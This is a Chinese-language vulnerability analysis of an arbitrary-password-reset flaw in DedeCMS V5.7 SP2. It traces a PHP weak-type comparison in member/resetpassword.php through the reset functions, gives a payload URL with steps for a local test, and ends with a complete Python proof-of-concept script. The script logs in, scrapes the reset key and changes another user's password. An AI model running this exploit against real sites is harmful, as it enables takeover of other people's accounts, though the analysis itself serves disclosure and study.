描述
Dedecms是一款开源的PHP开源网站管理系统。
影响产品
DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)
由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击
漏洞触发位置
①文件位置:dedecms/member/resetpassword.php(75行)
else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起，您的安全问题或答案回答错误","-1"); exit(); } }
就是这里的判断出现了问题，因为使用了不够严谨的 == 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); }
②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn
function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件； newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码； elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件； else { return ShowMsg('对不起，请10分钟后再重新申请', 'login.php'); } }
在sn函数内部，会根据id到pwd_tmp表中判断是否存在对应的临时密码记录，根据结果确定分支，走向newmail函数
if(!is_array($row)) { //发送新邮件； newmail($mid,$userid,$mailto,'INSERT',$send); }
③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
函数名称:function newmail
function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid."：\r\n您好！感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败，请联系管理员', 'login.php'); } } elseif($type == 'UPDATE') { $key = md5($randval); $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php'); } elseif($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { ShowMsg('对不起修改失败，请与管理员联系', 'login.php'); } } }
进入newmail函数后，会因为$type的值进入这个分支
if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败，请联系管理员', 'login.php'); } }
然后因为($send == 'N')这个条件为真，通过ShowMsg打印出修改密码的连接，导致漏洞形成
else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); }
密码修改连接如下,点击后重新调到resetpassword.php这个页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
文件位置:dedecms/member/resetpassword.php(96行)
else if($dopost == "getpasswd") { //修改密码 if(empty($id)) { ShowMsg("对不起，请不要非法提交","login.php"); exit(); } $mid = preg_replace("#[^0-9]#", "", $id); $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"); if(empty($row)) { ShowMsg("对不起，请不要非法提交","login.php"); exit(); } if(empty($setp)) { $tptim= (60*60*24*3); $dtime = time(); if($dtime - $tptim > $row['mailtime']) { $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';"); ShowMsg("对不起，临时密码修改期限已过期","login.php"); exit(); } require_once(dirname(__FILE__)."/templets/resetpassword2.htm"); } elseif($setp == 2) { if(isset($key)) $pwdtmp = $key; $sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密码成功，请牢记新密码', 'login.php'); exit; } } } showmsg('对不起，新密码为空或填写不一致', '-1'); exit; } showmsg('对不起，临时密码错误', '-1'); exit; } }
在pwd_tmp表中查询判断后,最后会跳入这个分支，判断是否超时，然后进入密码修改页面
if(empty($setp)) { $tptim= (60*60*24*3); $dtime = time(); if($dtime - $tptim > $row['mailtime']) { $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';"); ShowMsg("对不起，临时密码修改期限已过期","login.php"); exit(); } require_once(dirname(__FILE__)."/templets/resetpassword2.htm"); }
然后会再次进入这个页面，不过因为setp等于2，会进入这个分支。完成member表的密码修改
elseif($setp == 2) { if(isset($key)) $pwdtmp = $key; $sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密码成功，请牢记新密码', 'login.php'); exit; } } } showmsg('对不起，新密码为空或填写不一致', '-1'); exit; } showmsg('对不起，临时密码错误', '-1'); exit; }
总结：DeDecms(织梦CMS) 密码修改处，因为安全问题验证的safeanswer参数类型比较不够严格，遭受弱类型比较攻击，可绕过判断
同时修改时的id可控，导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击
漏洞攻击与利用
本地验证
分别注册两个账号
账号：test1
密码：test1
账号：test2
密码：test2
目的：我们使用test1账号去重置test2账号的密码
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9
①test1登录,并发送payload,此处可以id可以遍历，9是test2的id
②我们在代理工具中找到ShowMsg打印出修改密码的连接
③去掉多余字符后，访问修改密码的连接，进入修改页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
④test2密码修改成功，数据库对应hash也进行了更新（变成了123456的hash）
Poc
# coding=utf-8 import re import requests from bs4 import BeautifulSoup if __name__ == "__main__": host = 'http://127.0.0.1/dedecms/' cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375; DedeLoginTime__ckMd5=0a847f5adbfcbbd4" # 注册账号的cookie num = 2 # 要修改密码的id headers = {'Cookie': cookie} rs = requests.get(host + '/member/index.php', headers=headers) if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text: print '账号登陆成功' else: exit('账号登陆失败！') payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format( host=host, num=num) rs = requests.get(payload_url1, headers=headers) if '对不起，请10分钟后再重新申请'.decode('utf-8') in rs.text: exit('对不起，请10分钟后再重新申请').decode('utf-8') searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I) payload_url2 = searchObj.group(1) payload_url2 = payload_url2.replace('amp;', '') print 'Payload : ' + payload_url2 rs = requests.get(payload_url2, headers=headers) soup = BeautifulSoup(rs.text, "html.parser") userid = soup.find_all(attrs={"name": "userid"})[0]['value'] key = soup.find_all(attrs={"name": "key"})[0]['value'] data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666} rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers) if '更改密码成功，请牢记新密码'.decode('utf-8') in rs.text: print '更改密码成功'.decode('utf-8') print '账号：'.decode('utf-8') + userid print '密码：'.decode('utf-8') + '666666' else: print '更改密码失败'.decode('utf-8')